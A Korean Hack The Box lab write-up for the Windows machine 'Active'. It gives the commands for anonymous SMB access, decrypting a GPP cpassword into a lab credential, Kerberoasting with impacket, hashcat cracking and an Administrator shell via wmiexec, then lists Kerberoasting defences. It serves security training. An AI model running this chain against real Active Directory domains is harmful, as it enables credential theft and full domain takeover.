링크: https://app.hackthebox.com/machines/Active Write-up 참고: https://0xdf.gitlab.io/2018/12/08/htb-active.html 난이도: Easy OS: Windows (Active Directory)


공격 흐름 (Attack Flow)

Nmap 포트 스캔
  → SMB 익명 접속
    → Replication 공유 폴더 접근
      → group.xml 발견 (GPP 암호화 패스워드)
        → gpp-decrypt로 크래킹
          → impacket-GetUserSPNs (Kerberoasting)
            → 서비스 티켓 획득 → hashcat 크래킹
              → impacket-wmiexec Administrator 접속

1. SMB 익명 접속

포트 스캔 후 SMB 포트 확인, 익명 접속 시도

smbclient -L //10.10.10.100/ -N

Replication 공유 폴더 접근 가능 확인


2. group.xml에서 GPP 암호 탈취

Replication 폴더 내 group.xml 발견:

<Properties action="U" newName="" fullName="" description=""
  cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
  userName="active.htb\SVC_TGS" />

cpassword는 Microsoft가 Group Policy Preferences(GPP)에서 사용한 AES-256 암호화인데, 암호화 키가 공개되어 있어 쉽게 복호화 가능하다.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
# 결과: GPPstillStandingStrong2k18

크리덴셜: active.htb\SVC_TGS : GPPstillStandingStrong2k18


3. Kerberoasting

획득한 크리덴셜로 SPN 계정 확보:

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Administrator 계정이 SPN을 가지고 있어 서비스 티켓 획득

Kerberoasting 원리

커버로스는 도메인 유저라면 누구든 SPN이 있는 서비스 계정에 대한 서비스 티켓(TGS)을 요청할 수 있다. 반환된 서비스 티켓은 서비스 유저 계정의 NTLM 해시로 암호화되어 있어, 오프라인 브루트포스가 가능하다.

해시 크래킹

hashcat -m 13100 hashfile rockyou.txt

→ Administrator 패스워드 획득


4. 관리자 접속

impacket-wmiexec 'active.htb/administrator:PASSWORD'@10.10.10.100 -shell-type powershell

root.txt 획득


Kerberoasting 대응 방안

  1. MSA/gMSA 사용 → 자동으로 강력한 패스워드 설정
  2. 수동으로 복잡한 패스워드 설정 (25자 이상)
  3. **Fine-Grained Password Policy(FGPP)**로 서비스 계정 패스워드 정책 강화
  4. Kerberos 티켓 암호화를 RC4-HMAC → AES256으로 변경:
Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options
→ Network Security: Configure encryption types allowed for Kerberos → AES256_HMAC_SHA1 설정

핵심 취약점 요약

취약점설명
GPP Passwordcpassword 공개 키로 복호화 가능
KerberoastingSPN 계정 서비스 티켓 오프라인 크래킹

htb active-directory kerberoasting gpp-decrypt